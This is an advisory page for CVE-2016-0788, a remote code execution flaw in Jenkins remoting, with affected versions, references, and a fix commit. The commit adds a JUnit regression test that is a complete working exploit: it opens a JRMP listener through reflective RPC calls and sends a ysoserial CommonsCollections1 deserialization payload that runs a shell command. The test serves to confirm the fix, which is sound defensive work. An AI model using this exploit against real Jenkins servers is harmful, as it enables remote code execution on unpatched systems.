Critical severity9.8NVD Advisory· Published Apr 7, 2016· Updated May 6, 2026
CVE-2016-0788
CVE-2016-0788
Description
The remoting module in Jenkins before 1.650 and LTS before 1.642.2 allows remote attackers to execute arbitrary code by opening a JRMP listener.
Affected packages
Versions sourced from the GitHub Security Advisory.
| Package | Affected versions | Patched versions |
|---|---|---|
org.jenkins-ci.main:jenkins-coreMaven | >= 1.643, < 1.650 | 1.650 |
org.jenkins-ci.main:jenkins-coreMaven | < 1.642.2 | 1.642.2 |
Affected products
3Patches
11ec232ca1c80[FIXED SECURITY-232] Integrating Remoting build with blacklist.
2 files changed · +257 −1
pom.xml+1 −1 modified@@ -176,7 +176,7 @@ THE SOFTWARE. <dependency> <groupId>org.jenkins-ci.main</groupId> <artifactId>remoting</artifactId> - <version>2.53.2</version> + <version>2.53.3-20160203.223637-1</version> </dependency> <dependency>
test/src/test/java/jenkins/security/Security232Test.java+256 −0 added@@ -0,0 +1,256 @@ +package jenkins.security; + +import hudson.remoting.Callable; +import hudson.remoting.Channel; +import hudson.remoting.Channel.Mode; +import hudson.remoting.ChannelBuilder; +import hudson.remoting.ClassFilter; +import hudson.remoting.JarLoader; +import java.io.DataOutputStream; +import java.io.File; +import java.io.IOException; +import java.io.ObjectOutputStream; +import java.io.OutputStream; +import java.lang.reflect.Constructor; +import java.lang.reflect.Field; +import java.lang.reflect.InvocationHandler; +import java.lang.reflect.Method; +import java.lang.reflect.Proxy; +import java.net.HttpURLConnection; +import java.net.InetSocketAddress; +import java.net.Socket; +import java.net.URL; +import java.net.URLClassLoader; +import java.rmi.activation.ActivationDesc; +import java.rmi.activation.ActivationID; +import java.rmi.activation.ActivationInstantiator; +import java.rmi.server.ObjID; +import java.rmi.server.RemoteObject; +import java.rmi.server.UnicastRemoteObject; +import java.util.concurrent.ExecutorService; +import java.util.concurrent.Executors; +import javax.net.SocketFactory; +import static jenkins.security.security218.Payload.CommonsCollections1; +import jenkins.security.security218.ysoserial.payloads.CommonsCollections1; +import jenkins.security.security218.ysoserial.payloads.ObjectPayload; +import static org.junit.Assert.*; +import org.junit.Rule; +import org.junit.Test; +import org.jvnet.hudson.test.Issue; +import org.jvnet.hudson.test.JenkinsRule; +import sun.reflect.ReflectionFactory; +import sun.rmi.server.ActivationGroupImpl; +import sun.rmi.server.UnicastRef2; +import sun.rmi.server.Util; +import sun.rmi.transport.LiveRef; +import sun.rmi.transport.TransportConstants; +import sun.rmi.transport.tcp.TCPEndpoint; + +/** + * @author mbechler, adapted for JUnit/JenkinsRule by jglick + */ +@Issue("SECURITY-232") +public class Security232Test { + + @Rule + public JenkinsRule r = new JenkinsRule(); + + @Test + public void commonsCollections1() throws Exception { + File pwned = new File(r.jenkins.getRootDir(), "pwned"); + + int jrmpPort = 12345; + URL u = r.getURL(); + + HttpURLConnection hc = (HttpURLConnection) u.openConnection(); + int clip = Integer.parseInt(hc.getHeaderField("X-Jenkins-CLI-Port")); + + InetSocketAddress isa = new InetSocketAddress(u.getHost(), clip); + Socket s = null; + Channel c = null; + try { + System.err.println("* Opening socket " + isa); + s = SocketFactory.getDefault().createSocket(isa.getAddress(), isa.getPort()); + s.setKeepAlive(true); + s.setTcpNoDelay(true); + + System.err.println("* Opening channel"); + OutputStream outputStream = s.getOutputStream(); + + DataOutputStream dos = new DataOutputStream(outputStream); + + dos.writeUTF("Protocol:CLI-connect"); + + ExecutorService cp = Executors.newCachedThreadPool(); + c = new ChannelBuilder("EXPLOIT", cp).withMode(Mode.BINARY).build(s.getInputStream(), outputStream); + + System.err.println("* Channel open"); + + Class<?> reqClass = Class.forName("hudson.remoting.RemoteInvocationHandler$RPCRequest"); + + Constructor<?> reqCons = reqClass.getDeclaredConstructor(int.class, Method.class, Object[].class); + reqCons.setAccessible(true); + + Object getJarLoader = reqCons + .newInstance(1, Class.forName("hudson.remoting.IChannel").getMethod("getProperty", Object.class), new Object[] { + JarLoader.class.getName() + ".ours" + }); + + Object call = c.call((Callable<Object,Exception>) getJarLoader); + InvocationHandler remote = Proxy.getInvocationHandler(call); + Class<?> rih = Class.forName("hudson.remoting.RemoteInvocationHandler"); + Field oidF = rih.getDeclaredField("oid"); + oidF.setAccessible(true); + int oid = oidF.getInt(remote); + + System.err.println("* JarLoader oid is " + oid); + + Constructor<UnicastRemoteObject> uroC = UnicastRemoteObject.class.getDeclaredConstructor(); + uroC.setAccessible(true); + ReflectionFactory rf = ReflectionFactory.getReflectionFactory(); + Constructor<?> sc = rf.newConstructorForSerialization(ActivationGroupImpl.class, uroC); + sc.setAccessible(true); + UnicastRemoteObject uro = (UnicastRemoteObject) sc.newInstance(); + + Field portF = UnicastRemoteObject.class.getDeclaredField("port"); + portF.setAccessible(true); + portF.set(uro, jrmpPort); + Field f = RemoteObject.class.getDeclaredField("ref"); + f.setAccessible(true); + f.set(uro, new UnicastRef2(new LiveRef(new ObjID(2), new TCPEndpoint("localhost", 12345), true))); + + Object o = reqCons + .newInstance(oid, JarLoader.class.getMethod("isPresentOnRemote", Class.forName("hudson.remoting.Checksum")), new Object[] { + uro, + }); + + try { + c.call((Callable<Object,Exception>) o); + } + catch ( Exception e ) { + // [ActivationGroupImpl[UnicastServerRef [liveRef: + // [endpoint:[172.16.20.11:12345](local),objID:[de39d9c:15269e6d8bf:-7fc1, -9046794842107247609]] + + e.printStackTrace(); + + String msg = e.getMessage(); + int start = msg.indexOf("objID:["); + if ( start < 0 ) { + return; // good, got blocked before we even got this far + } + + int sep = msg.indexOf(", ", start + 1); + + if ( sep < 0 ) { + throw new Exception("Failed to get object id, separator"); + } + + int end = msg.indexOf("]", sep + 1); + + if ( end < 0 ) { + throw new Exception("Failed to get object id, separator"); + } + + String uid = msg.substring(start + 7, sep); + String objNum = msg.substring(sep + 2, end); + + System.err.println("* UID is " + uid); + System.err.println("* ObjNum is " + objNum); + + String[] parts = uid.split(":"); + + long obj = Long.parseLong(objNum); + int o1 = Integer.parseInt(parts[ 0 ], 16); + long o2 = Long.parseLong(parts[ 1 ], 16); + short o3 = Short.parseShort(parts[ 2 ], 16); + + exploit(new InetSocketAddress(isa.getAddress(), jrmpPort), obj, o1, o2, o3, new CommonsCollections1(), "touch " + pwned); + } + + c.close(); + } + finally { + if ( s != null ) { + s.close(); + } + } + + Thread.sleep(5000); + + assertFalse("Pwned!", pwned.exists()); + } + + + /** + * @param inetSocketAddress + * @param obj + * @param o1 + * @param o2 + * @param o3 + * @throws IOException + */ + private static void exploit ( InetSocketAddress isa, long obj, int o1, long o2, short o3, ObjectPayload payload, String payloadArg ) + throws Exception { + Socket s = null; + try { + System.err.println("* Opening JRMP socket " + isa); + s = SocketFactory.getDefault().createSocket(isa.getAddress(), isa.getPort()); + s.setKeepAlive(true); + s.setTcpNoDelay(true); + + OutputStream os = s.getOutputStream(); + DataOutputStream dos = new DataOutputStream(os); + + dos.writeInt(TransportConstants.Magic); + dos.writeShort(TransportConstants.Version); + dos.writeByte(TransportConstants.SingleOpProtocol); + + dos.write(TransportConstants.Call); + + final ObjectOutputStream objOut = new ObjectOutputStream(dos) { + + protected void annotateClass ( Class<?> cl ) throws IOException { + if ( ! ( cl.getClassLoader() instanceof URLClassLoader ) ) { + writeObject(null); + } + else { + URL[] us = ( (URLClassLoader) cl.getClassLoader() ).getURLs(); + String cb = ""; + for ( URL u : us ) { + cb += u.toString(); + } + writeObject(cb); + } + } + + + /** + * Serializes a location from which to load the specified class. + */ + protected void annotateProxyClass ( Class<?> cl ) throws IOException { + annotateClass(cl); + } + }; + + objOut.writeLong(obj); + objOut.writeInt(o1); + objOut.writeLong(o2); + objOut.writeShort(o3); + + objOut.writeInt(-1); + objOut.writeLong(Util.computeMethodHash(ActivationInstantiator.class.getMethod("newInstance", ActivationID.class, ActivationDesc.class))); + + System.err.println("Running " + payload + " against " + ClassFilter.class.getProtectionDomain().getCodeSource().getLocation()); + final Object object = payload.getObject(payloadArg); + objOut.writeObject(object); + + os.flush(); + } + finally { + if ( s != null ) { + s.close(); + } + } + } + +}
Vulnerability mechanics
Generated by null/stub on May 9, 2026. Inputs: CWE entries + fix-commit diffs from this CVE's patches. Citations validated against bundle.
References
6- wiki.jenkins-ci.org/display/SECURITY/Jenkins+Security+Advisory+2016-02-24nvdPatchVendor AdvisoryWEB
- github.com/advisories/GHSA-j7q5-h445-f7pcghsaADVISORY
- nvd.nist.gov/vuln/detail/CVE-2016-0788ghsaADVISORY
- rhn.redhat.com/errata/RHSA-2016-1773.htmlnvdWEB
- access.redhat.com/errata/RHSA-2016:0711nvdWEB
- github.com/jenkinsci/jenkins/commit/1ec232ca1c80e924d70212313b852aec408aa37eghsaWEB
News mentions
0No linked articles in our index yet.